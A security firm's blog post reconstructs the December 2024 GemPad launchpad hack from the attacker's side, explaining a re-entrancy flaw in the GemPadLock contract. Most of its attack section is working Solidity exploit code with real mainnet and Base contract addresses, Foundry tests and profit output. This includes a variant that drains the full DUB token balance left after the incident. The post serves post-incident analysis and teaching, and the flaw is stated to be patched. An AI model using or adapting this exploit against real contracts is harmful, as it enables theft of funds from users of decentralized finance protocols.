GemPad — $1.8M Incident Super Deep Dive

The GemPad hack reconstructed from the attacker's point of view, step by step, rather than from the defender's — including how the vulnerability would have been found.

· 12 MIN READ · DECURITY

GemPad — $1.8M Incident Super Deep Dive

Intro

On December 17, 2024 the GemPad platform was hacked. As an experiment instead of analyzing the exploit and vulnerability from the perspective of the attack, we will put ourselves in the hacker’s shoes and follow their steps:

  • Protocol analysis: essence, metrics, audits.
  • Smart contract analysis and vulnerability identification.
  • Writing the exploit(s).

Naturally, for the sake of simplicity, we will not analyze all the smart contracts of the protocol, but will focus only on those that are known to be vulnerable.

Note: This article is intended solely for educational purposes and aims to explore the mechanisms of smart contract security. The author bears no responsibility for any potential misuse of the information provided. All vulnerabilities described were discovered after the incident and have since been addressed by the protocol developers.

What is GemPad?

GemPad is a multi-chain decentralized launchpad and crowdfunding platform. The platform supports a wide range of launch formats, including presales, fair/hyper/linear launches, and provides functionality for token creation, OTC, liquidity pools, and staking without the need for coding smart contracts.

In general launchpads tend to have critical vulnerabilities, e.g. Dx Protocol where we discovered and helped to mitigate a $5.2M vulnerability: https://www.decurity.io/research

GemPad can also create launchpads on Ton and Solana, although the analysis of these projects is beyond the scope of this article.

The first project to conduct a presale was Samurai Legend, which concluded on March 24, 2022.

As of December 23, a total of 753 presales have been conducted on the GemPad platform, raising a combined total of:

  Token |    Amount    
 -------|-------------- 
  ETH   |     6,467.32 
  USDT  |    1,533,077 
  USDC  |      859,433 
  BNB   |    29,435.76 
  USDbC |        4,921 
  POL   |   100,054.56 
  BUSD  | 1,779,357.88 
  SOL   |          350
The source of this information is GemPad’s API

The total amount of tokens collected on the platform is more than 46M$.

GemPad also has functionality to lock tokens Locks. More details about Locks are provided below.

Audits

The vulnerable contract GemPadLock.sol was audited by Cyberscope. The audit revealed only 19 minor vulnerabilities. The company Assure identified 3 vulnerabilities of the medium level in the patched version of the contract after the hack.

Locks

Locks are mechanisms that allow to lock ERC20, Uniswap V2 LP tokens or V3 NFT positions for a certain period of time. The presence of Locks for the project’s founders guarantees the impossibility of early withdrawal of liquidity from the LP, increasing the trustworthiness of the project. Locks can be with or without vesting.

The logic for Locks is controlled by the contract GemPadLock.sol, which was an implementation of the proxy.

Let’s go through some functions of GemPadLock.sol:

LockLPV3()

This function allows the user to lock their Uniswap V3 LP token in the contract.

Arguments:

  • _owner — address of the Lock owner.
  • nftManager — address of NonfungiblePositionManager. The address validity is checked by the validNFT modifier.
  • nftId — identifier of the NFT representing the position in Uniswap V3.
  • unlockDate— date when the Lock will be unlocked.
  • description and metaData — description and metadata for the Lock.
  • projectToken — token of the project that is contained in the liquidity pool.
  • referrer — address of the referrer.

Function actions:

  1. Check if nftManager and unlockDate are valid.
  2. Get the addresses, fees, and liquidity amounts from UniswapV3 Positions: NFT.
  3. Check if projectToken is one of the tokens in the LP pair.
  4. Get the address of the pool from Uniswap V3 Factory and check its existence.
  5. Create a new Lock structure and add it to the _locks array. Also, assign ownership to the Lock owner (_userLpLockIds) and add the pool address to EnumerableSet.AddressSet _lpLockedTokens if it doesn’t exist.
  6. Update the information about the locked token: its amount and address. Create the project if it doesn’t exist and set the owner.
  7. Transfer the NFT from the user to the contract.
  8. Generate the corresponding event LockAdded.

collectFees()

This function is needed to collect fees from the specific Uniswap V3 pool of a Lock.

Arguments:

  • lockId — identifier of the Lock for which fees need to be collected. The isLockOwner() modifier checks that msg.sender is the owner of the Lock, and validLockLPv3 ensures that the Lock exists.

Function actions:

  1. Create parameters for collecting fees according to the UniswapV3 documentation.
  2. Use the INonfungiblePositionManager().positions() method to get the addresses of the tokens in the pool.
  3. Call the collect() function (which transfers the tokens from the pool to the GemPadLock contract), and transfer collected tokens to sender.

multipleLock()

The multipleLock() function is designed to create multiple Locks for a single token from different owners in different amounts. It can lock both LP tokens and regular tokens.

Arguments:

  • owners[] — addresses of the owners of the locked tokens
  • amounts[] — amounts of tokens from the corresponding `owners[]`
  • token — address of the token, or LP pool
  • isLpToken — flag indicating whether the token is LP or regular ERC20
  • unlockDate, description, metaData, projectToken, referrer — same as in LockLPV3()

multipleLock() calls the internal _multipleLock() function, which:

  1. Checks if the number of elements in the owners array matches the number of elements in the amounts array
  2. Sums all the elements in the amounts[] array and transfers the result of token to self
  3. Calls _createLock() for each element in owners[], and also generates the LockAdded event

The _createLock() function calls either _lockLpToken() or _lockNormalToken(), depending on the isLpToken flag. The _lockNormalToken() function:

  1. Calls _registerLock() to create a Lock element and add it to the _locks array. It also updates _userNormalLockIds and _normalLockedTokens for “normal” tokens, similar to point 5 in LockLPV3().
  2. Updates CumulativeLockInfo.amount and Project similarly to LockLPV3().

Vulnerability

Calling functions on arbitrary contracts, lack of nonReentrant modifiers, and the fact that the GemPadLocks contract keeps track of balances and holds LP tokens lead to the possibility of a re-entrancy vulnerability.

In the context of re-entrancy, the function collectFees() is particularly interesting because of the possibility of transferring balances from the smart contract and calling INonfungiblePositionManager().collect(). The collect() function inside collectFees() calls token.transfer(), but the token could be malicious, and any function in the GemPadLock.sol contract could be called from transfer() function.

Think for a moment and try to come up with a re-entrancy chain that could lead to loss of funds.

Exploit Algorithm

Flow to withdraw any token from the GemPadLock contract:

  1. Create a token-exploit EXP that re-enters the GemPadLock.multipleLock() function from the transfer()
  2. Create a UniV3 pair AnyTOKEN-EXP
  3. Mint NFT LP AnyTOKEN-EXP
  4. Call LockLPV3(), locking NFT LP AnyTOKEN-EXP, where projectToken = EXP. This will add a new Lock to _locks, allowing you to pass the isLockOwner() and validLockLPv3() checks in collectFees()
  5. Make a swap in the AnyTOKEN-EXP pair to generate fees
  6. Call collectFees(), specifying lockId from step 5
  7. collectFees() will call INonfungiblePositionManager.collect(), which will call EXP.transfer()
  8. EXP.transfer() will call GemPadLock.multipleLock(owners=[exp],token=AnyTOKEN,isLpToken=false)

The idea is that the following re-entrancy chain will create a new Lock token AnyTOKEN, and AnyTOKEN will be transferred from EXP to the GemPadLock contract.

GemPadLock.collectFees()->
    INonfungiblePositionManager.collect()->
        UniswapPairV3.collect()->
            EXP.transfer()->
                GemPadLock.multipleLock()

Since the GemPadLock.multipleLock() function is called between the balance calculations of token0 and token1 on the contract, the difference will be positive, and it will be sent back to the attacker. The attacker will end up with a new Lock, but the tokens will remain on the exploit contract. This new Lock can then be unlocked in the next block.

Exploit for UniV2LP

Let’s start writing the exploit for transferring LP tokens from the FOMO-WETH pair on the mainnet. The hacker did 4 transactions in the exploit: 1. Create LP V2 2. Exploit the re-entrancy 3. Unlock locks 4. Withdraw profit

Instead we can do it in 2 steps: create a Lock through re-entrancy and call unlock() together with withdrawing ETH.

First, let’s write the structure of the exploit contract which will be an ERC20 token and define all the necessary contract addresses.

contract exploit is Test {
    INonfungiblePositionManager uniV3PositionsNFT = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    Uni_Router_V3 uniV3Router = Uni_Router_V3(address(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45));
    IUniswapV2Router uniV2Router = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
    IUniswapV2Factory uniV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IWETH weth = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
    IERC20 fomo = IERC20(0x9028C2A7f8C8530450549915c5338841Db2a5fEa);
    IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IGempadLock gempad = IGempadLock(0x10B5F02956d242aB770605D59B7D27E51E45774C);
    IUniswapV2Pair pair = IUniswapV2Pair(uniV2Factory.getPair(address(weth), address(fomo)));


    address payable public owner;
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;

    uint256[] public multiple_lock_ids;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor() payable {
        owner = payable(msg.sender);
        name = "EVMHACKS";
        symbol = "EVMHACKS";
        mint(address(this), 10000 ether);
    }

    fallback() external payable {}
    receive() external payable {}

    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        // Here will be implemented the call to gempad.multicall().
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        // default implementation
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        // default implementation
    }

    function mint(address to, uint256 amount) public {
        // default implementation
    }
}

Next, we need the create_LPv3_position() function to mint UniV3 NFTs so that calling lockLpV3() will create a Lock.

// Creating UniV3 pool with malicious token EVMHACKS and Uni2 LP FOMO(project token)-WETH
function create_LPv3_position() public payable returns(uint256) {
    // eth_swap_amt can be any amount. but the liquidity in the LP3 EVMHACKS-UniV2LP(FOMO-WETH)
    // pool depends on it, so it should be sufficient
    uint256 eth_swap_amt = 1 ether;  
    // get some fomo token
    address[] memory path = new address[](2);
    path[0] = address(weth);
    path[1] = address(fomo);
    uniV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value:eth_swap_amt/2}(
        0, // minAmountOut
        path, // swapPath
        address(this), // recipient
        block.timestamp + 99 // deadline
    );
    fomo.approve(address(uniV2Router), type(uint256).max); // approve FOMO for addLiquidityETH()
    uint256 fomo_balance = fomo.balanceOf(address(this));
    // add liquidity to WETH-FOMO pair -> mint LP tokens
    uniV2Router.addLiquidityETH{value:eth_swap_amt/2}(
        address(fomo), // token
        fomo_balance, // amountTokenDesired
        0, // amountTokenMin
        0, // amountETHMin
        address(this), // to
        block.timestamp + 99 // deadline
    );

    // Creating Uni V3 pool with EVMHACKS-LP(WETH-FOMO)
    pair.approve(address(uniV3PositionsNFT), type(uint256).max);
    uniV3PositionsNFT.createAndInitializePoolIfNecessary(
        address(this), // token0
        address(pair), // token1
        500, // fee
        type(uint96).max // sqrtPriceX96
    );
    // mint uniV3 LP NFT
    allowance[address(this)][address(uniV3PositionsNFT)] = type(uint256).max; 
    uint256 weth_fomo_lp_balance = pair.balanceOf(address(this)); // LP balance of exploit contract. 
    // Mint EVMHACKS-LP(WETH-FOMO) LP NFT
    INonfungiblePositionManager.MintParams memory mint_params = INonfungiblePositionManager.MintParams(
        address(this), // token0
        address(pair), // token1
        500, // fee
        -100000, // tickLower
        100000, // tickUpper
        weth_fomo_lp_balance, // amount0Desired
        weth_fomo_lp_balance, // amount1Desired. token1 is exploit token, we can mint infinity EVMHACKS token to self.
        0, // amount0Min
        0, // amount1Min
        address(this), // recipient
        block.timestamp + 99 // deadline
    );
    (uint256 tokenId,,,) = uniV3PositionsNFT.mint(mint_params);
    return tokenId;
}

Next, we need the mintLpV2() function to mint LP tokens for created Locks through GemPad.multipleLock(). eth_swap_amt affects the number of liquidity tokens we get, and thus the number of Locks we create through re-entrancy.

function mintLpV2() internal returns(uint256){
    // eth_fomo_lp_swap_amt can be any amount, but amount of UniLPv2 WETH-FOMO tokens received depends on it
    // which we will lock through multipleLock(), respectively, the number of unlock() calls
    uint256 eth_fomo_lp_swap_amt = 10 ether;
    address[] memory path = new address[](2);
    path[0] = address(weth);
    path[1] = address(fomo);
    // get some FOMO token
    uniV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value:eth_fomo_lp_swap_amt/2}(
      0, 
      path, 
      address(this), 
      block.timestamp+99
    );
    uint256 fomo_balance = fomo.balanceOf(address(this));
    // got LP tokens weth-fomo
    (,,uint256 liq) = uniV2Router.addLiquidityETH{value:eth_fomo_lp_swap_amt/2}(
      address(fomo), 
      fomo_balance, 
      0, 
      0, 
      address(this), 
      block.timestamp+99
    );
    return liq;
}

Now let’s move on to the main exploit function:

function exploit_it(uint256 nftId) public payable{ 
    uint256 nftId = create_LPv3_position(); // get NFT id UniV3 LP EVMHACKS-UniV2(FOMO-WETH)
    uint256 lp_amount = mintLpV2(); // get UniV2 LP WETH-FOMO tokens for multipleLock() in future
    // lock nft LpV3 for pass modifiers isLockOwner() and validLockLPv3() in collectFees()
    uniV3PositionsNFT.approve(address(gempad), nftId);
    uint40 lock_timestamp = uint40(block.timestamp)+1;
    uint256 lock_id = gempad.lockLpV3(address(this), address(uniV3PositionsNFT), nftId, lock_timestamp, "", "", address(this), address(0));

    // approve self token to uniV3Router for swap
    allowance[address(this)][address(uniV3Router)] = type(uint256).max; 
    // approve UniV2LP to gempad for multipleLock in re-entrancy
    pair.approve(address(gempad), type(uint256).max);

    Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams(
        address(this),           // tokenIn
        address(pair),           // tokenOut
        500,                     // fee
        address(this),           // recipient
        1_000_000_000,          // amountIn. it can be any amount, the main thing is to generate a fee
        0,                       // amountOutMinimum
        0                        // sqrtPriceLimitX96
    );
    // calculation of iterations of the unlock() calls
    // as long as the LP UniV2(WETH-FOMO) Gempad balance is sufficient
    uint256 lp2_balance_on_gempad = pair.balanceOf(address(gempad));
    uint8 q = uint8(lp2_balance_on_gempad/lp_amount);
    // in the loop, we  swap the EVMHACKS -> UniV2LP(WETH-FOMO) to generate fees
    // that we collect through collectFees() and re-enter in multipleLock()
    for(uint8 i = 0; i<q; i++){
        uniV3Router.exactInputSingle(params);
        gempad.collectFees(lock_id);
    }
}

The modified transfer() function in the exploit contract that triggers GemPadLock.multipleLock():

function transfer(address to, uint256 amount) public returns (bool) {
    balanceOf[msg.sender] -= amount;
    balanceOf[to] += amount;
    // condition for call from gempad.collectFees()
    if(to == 0x10B5F02956d242aB770605D59B7D27E51E45774C && amount == 499999) {
        // prepare calldata for multipleLock()
        // amount of FOMO-WETH LP tokens that minted in the mintLpV2() function call and that will lock through multipleLock()
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = pair.balanceOf(address(this));;
        address[] memory owners = new address[](1);
        owners[0] = address(this);
        uint40 unlock_date = uint40(block.timestamp)+1;
        uint256[] memory m_lock_id = gempad.multipleLock(
            owners, // owners
            address(pair), // token
            false, // isLpToken
            amounts, // amounts
            unlock_date, // unlockDate
            "", // description
            "", // metaData
            address(pair), // projectToken
            address(0) // referrer
        );
        multiple_lock_ids.push(m_lock_id[0]);
    }
    emit Transfer(msg.sender, to, amount);
    return true;
}

Finally, we need the unlock() function to unlock all Locks created through re-entrancy and withdraw ETH to the exploiter’s address. This function must be called in next block, as the GemPadLock.unlock() function includes a check for block.timestamp.

function unlock() public {
    for(uint8 elem = 0; elem < multiple_lock_ids.length; elem++){
        gempad.unlock(multiple_lock_ids[elem]);
    }
    pair.approve(address(uniV2Router), type(uint256).max);
    uint256 deadline = block.timestamp+99;
    uniV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(
        address(fomo),
        bal, 
        0,
        0,
        address(this), 
        deadline
    );
    owner.transfer(address(this).balance);
}

All the components are ready, let’s run the exploit!

function testExploit() public{
    vm.startPrank(hacker);
    uint256 prev_balance = hacker.balance;
    exploit exp_contract = new exploit{value: 12 ether}();
    exp_contract.exploit_it(); // tx1: create pairs, start exploit 
    uint256 timestamp = vm.getBlockTimestamp();
    vm.warp(timestamp+1); // step in next block
    exp_contract.unlock(); // tx2: unlock all Locks, withrdaw profit
    uint256 delta = (hacker.balance-prev_balance)/10**18;
    console.log("Profit in ETH: ", delta);
}

This will return:

Profit 44 ETH only from withdraw LP FOMO-WETH
Profit 44 ETH only from withdraw LP FOMO-WETH

It worked!

The vulnerable contract has been stopped since the hack. But was it possible to grab other tokens from the GemPadLock contract? According to the smart contract portfolio provided by the Debank on the Base network, there are still $1.8M worth of tokens left after the hack.

In fact, not all tokens have liquidity in pairs for such a large amount, but let’s analyze the DUB token.

According to the data from dextools.io the UniV3 DUB-ALB pair has the largest liquidity. And the smart contract of the ALB-WETH pair has 376 WETH at the time of writing.

It turns out that for some reason hacker did not withdraw all the DUB tokens that could be exchanged for WETH. Let’s write a PoC to withdraw all DUB tokens from the GemPadLock smart contract on the Base network at the block height of the original incident.

Exploit for ERC20

Logic of exploiting the vulnerability remains the same, even a little simpler. To withdraw ERC20 we do not need mintLpV2()function and other interactions with UniV2 LP.

The basic structure of the exploit will remain the same, only the Uniswap addresses will change.

INonfungiblePositionManager uniV3PositionsNFT = INonfungiblePositionManager(0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1);
Uni_Router_V3 uniV3Router = Uni_Router_V3(address(0x2626664c2603336E57B271c5C0b26F421741e481));
IUniswapV2Router uniV2Router = IUniswapV2Router(payable(address(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24)));
IUniswapV2Factory uniV2Factory = IUniswapV2Factory(0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6);
IWETH weth = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
IGempadLock gempad = IGempadLock(0x10B5F02956d242aB770605D59B7D27E51E45774C);
IERC20 dub = IERC20(0x30457a1ab7cd796d6E55E4e5BA12e09f2283e856);

The function create_Lpv3_position() will become lighter — now we don’t need to call addLiquidityETH()to create a UniV2Lp pair.

// Creating UniV3 pool with malicious token EVMHACKS and DUB and mint NFT LP
function create_LPv3_position(uint256 dub_amount) public payable returns(uint256) {
    // Creating Uni V3 pool with EVMHACKS-DUB
    dub.approve(address(uniV3PositionsNFT), type(uint256).max);
    allowance[address(this)][address(uniV3PositionsNFT)] = type(uint256).max; 
    uniV3PositionsNFT.createAndInitializePoolIfNecessary(
        // Unlike the exploit on LP FOMO-WETH, token0 and token 1 are reversed here due to 
        // https://github.com/Uniswap/v3-periphery/blob/0682387198a24c7cd63566a2c58398533860a5d1/contracts/base/PoolInitializer.sol#L19
        address(dub), // token0. 
        address(this), // token1
        uint24(500), // fee
        type(uint96).max // sqrtPriceX96
    );
    
    // Mint EVMHACKS-DUB LP NFT
    INonfungiblePositionManager.MintParams memory mint_params = INonfungiblePositionManager.MintParams(
        address(dub), // token0
        address(this), // token1
        500, // fee
        -100000, // tickLower
        100000, // tickUpper
        dub_amount, // amount0Desired
        dub_amount, // amount1Desired. token1 is exploit token, we can mint infinity EVMHACKS token to self.
        0, // amount0Min
        0, // amount1Min
        address(this), // recipient
        block.timestamp + 99 // deadline
    );
    (uint256 tokenId,,,) = uniV3PositionsNFT.mint(mint_params);
    return tokenId;
}

In the transfer() function we need to change only the address of the Lock and set DUB token as the project token. Don’t forget that you can use multipleLock()to lock ANY tokens.

uint256[] memory m_lock_id = gempad.multipleLock(owners, address(dub), false, amounts, unlock_date, "", "", address(dub), address(0));

The main exploit function:

function exploit_it(
    uint256 dub_amount
) external {
    // there is no need for a large amount of DUB token in the liquidity of the UniV3 pair
    uint256 dub_amount_for_mint_NFT_LP = dub_amount/1_000_000; 
    uint256 nftId = create_LPv3_position(dub_amount_for_mint_NFT_LP);
    // lock LP EVMHACKS-DUB NFT in gempad
    uniV3PositionsNFT.approve(address(gempad), nftId);
    uint40 lock_timestamp = uint40(block.timestamp)+1;
    uint256 lock_id = gempad.lockLpV3(address(this), address(uniV3PositionsNFT), nftId, lock_timestamp, "", "", address(this), address(0));
    console.log("lock_id: ", lock_id);

    Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams(
        address(this),           // tokenIn
        address(dub),           // tokenOut
        500,                     // fee
        address(this),           // recipient
        1_000_000_000,          // amountIn. it can be any amount, the main thing is to generate a fee
        0,                       // amountOutMinimum
        0                        // sqrtPriceLimitX96
    );
    allowance[address(this)][address(uniV3Router)] = type(uint256).max;
    dub.approve(address(uniV3Router), type(uint256).max);
    dub.approve(address(gempad), type(uint256).max);
    // calculation of iterations of the unlock() calls
    // as long as the DUB Gempad balance is sufficient
    uint256 gempad_dub_balance = dub.balanceOf(address(gempad));
    uint256 dub_self_balance = dub.balanceOf(address(this));
    uint256 q = gempad_dub_balance/dub_self_balance;
    for(uint8 i = 0; i<q; i++){
        uniV3Router.exactInputSingle(params);
        gempad.collectFees(lock_id);
    }
    console.log("multiple_lock_ids: ", multiple_lock_ids.length);
    
    // At the point this contract will have the amount of DUB 
    // that it had in the beginning. If we had used flashloan, we should have returned them.
}

Here is unlock() function to unlock all created Locks (to simplify the code, we will not sell DUB tokens in WETH):

function unlock() public {
    uint256 dub_bal = dub.balanceOf(address(this));
    console.log("Self DUB before unlock: ", dub_bal);
    for(uint8 elem = 0; elem < multiple_lock_ids.length; elem++){
        gempad.unlock(multiple_lock_ids[elem]);
    }
    dub_bal = dub.balanceOf(address(this));
    console.log("Self DUB after unlock: ", dub_bal);

    // here we can swap DUB->WETH via DUB-ALB->WETH pools
}

A careful reader noticed that we need an initial amount of DUB tokens in order to exploit the vulnerability. There are different ways to do this, such as through UniswapPairV3.flash() or by taking WETH via a flashloan and exchanging it to ALB and then to DUB. But for simplicity we will mint the tokens using a foundry cheatcode. The more DUB tokens we have at the beginning, the fewer Locks we need to create to withdraw the entire DUB balance from GemPadLock.

function testExploit() public{
    // this is the amount of DUB tokens at the time of the hack on the DUB-ALB pair from where you can get flashloan. 
    // this amount can lower, but then to withdraw ALL DUB tokens from the Gamepad contract, you would need to do
    // more iterations of collectFees() in the for (Q)
    uint256 dub_flashloan_amount = 22126859807371300580304730; 

    vm.startPrank(hacker);
    exploit exp_contract = new exploit();
    // In practice, there are many ways to get the right amount of DUB. including through flashloan
    deal(address(0x30457a1ab7cd796d6E55E4e5BA12e09f2283e856), address(exp_contract), dub_flashloan_amount);
    exp_contract.exploit_it(dub_flashloan_amount);
    uint256 timestamp = vm.getBlockTimestamp();
    vm.warp(timestamp+1); // step in next block
    // simulate that we have returned all the DUB to flashloan
    deal(address(0x30457a1ab7cd796d6E55E4e5BA12e09f2283e856), address(exp_contract), 0); 
    exp_contract.unlock(); // tx2: unlock all Locks, withrdaw profit
}

This will return:

Unlike the hacker, we withdrew the entire DUB balance from the vulnerable GemPadLock contract, which can be exchanged for WETH through the remaining liquidity!

The implementation of the contract in all chains has now been updated to a secure version. The nonReentrantmodifier has been added to public functions.

Full code of PoCs for ERC20 and UniV2LP are in this repository.

Read our previous articles:

GemPad —  $1.8M Incident Super Deep Dive was originally published in Decurity on Medium, where people are continuing the conversation by highlighting and responding to this story.

Need this expertise on your protocol?

The researchers who write this are the ones who run the audits.

REQUEST FORM